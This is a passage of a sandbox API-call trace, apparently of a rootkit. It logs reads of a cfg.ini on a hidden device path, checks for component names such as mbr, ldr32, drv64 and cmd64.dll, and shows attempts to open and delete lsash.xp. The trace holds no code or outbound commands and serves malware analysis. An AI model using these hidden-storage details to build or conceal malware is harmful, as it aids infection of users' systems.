_snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.964] KeEnterCriticalRegion () [0119.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.964] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.964] KeLeaveCriticalRegion () [0119.964] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.964] KeEnterCriticalRegion () [0119.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.964] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.964] IdePortDispatch () returned 0x103 [0119.964] KeWaitForMutexObject () returned 0x0 [0119.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.965] KeLeaveCriticalRegion () [0119.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.965] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.965] KeEnterCriticalRegion () [0119.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b28000 [0119.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.965] IdePortDispatch () returned 0x103 [0119.965] KeWaitForMutexObject () returned 0x0 [0119.965] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.965] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.965] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.965] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.965] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.965] IdePortDispatch () returned 0x103 [0119.965] KeWaitForMutexObject () returned 0x0 [0119.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.966] KeLeaveCriticalRegion () [0119.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.966] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.966] KeEnterCriticalRegion () [0119.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.966] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.966] KeLeaveCriticalRegion () [0119.966] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.966] KeEnterCriticalRegion () [0119.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.966] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.966] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.966] KeLeaveCriticalRegion () [0119.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.966] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.966] KeEnterCriticalRegion () [0119.966] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.966] ExFreePoolWithTag (P=0xfffffa8003bcc9c0, Tag=0x0) [0119.966] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.966] KeLeaveCriticalRegion () [0119.966] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.966] ReleaseMutex (hMutex=0xf0) returned 1 [0119.967] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.967] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.967] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.967] KeEnterCriticalRegion () [0119.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.967] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.967] IdePortDispatch () returned 0x103 [0119.967] KeWaitForMutexObject () returned 0x0 [0119.967] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.967] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.967] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.967] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.967] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.967] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd520 [0119.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.967] KeLeaveCriticalRegion () [0119.967] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.967] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.967] KeEnterCriticalRegion () [0119.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.967] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.967] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.967] KeLeaveCriticalRegion () [0119.967] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.967] KeEnterCriticalRegion () [0119.967] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.967] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.967] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.967] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.967] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.967] IdePortDispatch () returned 0x103 [0119.967] KeWaitForMutexObject () returned 0x0 [0119.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.968] KeLeaveCriticalRegion () [0119.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.968] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.968] KeEnterCriticalRegion () [0119.968] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.968] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b29000 [0119.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.968] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.968] IdePortDispatch () returned 0x103 [0119.968] KeWaitForMutexObject () returned 0x0 [0119.968] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.968] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.968] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.968] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.968] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.968] IdePortDispatch () returned 0x103 [0119.968] KeWaitForMutexObject () returned 0x0 [0119.968] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.968] KeLeaveCriticalRegion () [0119.968] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.969] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.969] KeEnterCriticalRegion () [0119.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.969] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.969] KeLeaveCriticalRegion () [0119.969] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.969] KeEnterCriticalRegion () [0119.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.969] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.969] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.969] KeLeaveCriticalRegion () [0119.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.969] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.969] KeEnterCriticalRegion () [0119.969] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.969] ExFreePoolWithTag (P=0xfffffa8003bcd520, Tag=0x0) [0119.969] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.969] KeLeaveCriticalRegion () [0119.969] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.969] ReleaseMutex (hMutex=0xf0) returned 1 [0119.969] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.969] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.969] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.970] KeEnterCriticalRegion () [0119.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.970] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.970] IdePortDispatch () returned 0x103 [0119.970] KeWaitForMutexObject () returned 0x0 [0119.970] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.970] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.970] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.970] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.970] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.970] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d1e10 [0119.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.970] KeLeaveCriticalRegion () [0119.970] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.970] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.970] KeEnterCriticalRegion () [0119.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.970] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.970] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.970] KeLeaveCriticalRegion () [0119.970] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.970] KeEnterCriticalRegion () [0119.970] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.970] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.970] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.970] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.970] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.970] IdePortDispatch () returned 0x103 [0119.970] KeWaitForMutexObject () returned 0x0 [0119.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.971] KeLeaveCriticalRegion () [0119.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.971] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.971] KeEnterCriticalRegion () [0119.971] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.971] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2a000 [0119.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.971] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.971] IdePortDispatch () returned 0x103 [0119.971] KeWaitForMutexObject () returned 0x0 [0119.971] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.971] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.971] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.971] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.971] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.971] IdePortDispatch () returned 0x103 [0119.971] KeWaitForMutexObject () returned 0x0 [0119.971] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.971] KeLeaveCriticalRegion () [0119.971] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.972] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.972] KeEnterCriticalRegion () [0119.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.972] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.972] KeLeaveCriticalRegion () [0119.972] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.972] KeEnterCriticalRegion () [0119.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.972] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.972] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.972] KeLeaveCriticalRegion () [0119.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.972] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.972] KeEnterCriticalRegion () [0119.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.972] ExFreePoolWithTag (P=0xfffffa80039d1e10, Tag=0x0) [0119.972] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.972] KeLeaveCriticalRegion () [0119.972] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.972] ReleaseMutex (hMutex=0xf0) returned 1 [0119.972] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.972] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.972] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.972] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.972] KeEnterCriticalRegion () [0119.972] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.973] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.973] IdePortDispatch () returned 0x103 [0119.973] KeWaitForMutexObject () returned 0x0 [0119.973] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.973] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.973] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.973] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.973] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.973] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.973] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.973] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.973] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.973] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.973] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.973] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.973] KeLeaveCriticalRegion () [0119.973] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.973] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.973] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.973] KeEnterCriticalRegion () [0119.973] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.973] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.973] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.973] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.973] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.973] IdePortDispatch () returned 0x103 [0119.973] KeWaitForMutexObject () returned 0x0 [0119.974] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.974] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.974] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.974] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.974] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.974] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.974] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.974] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.974] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.974] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", 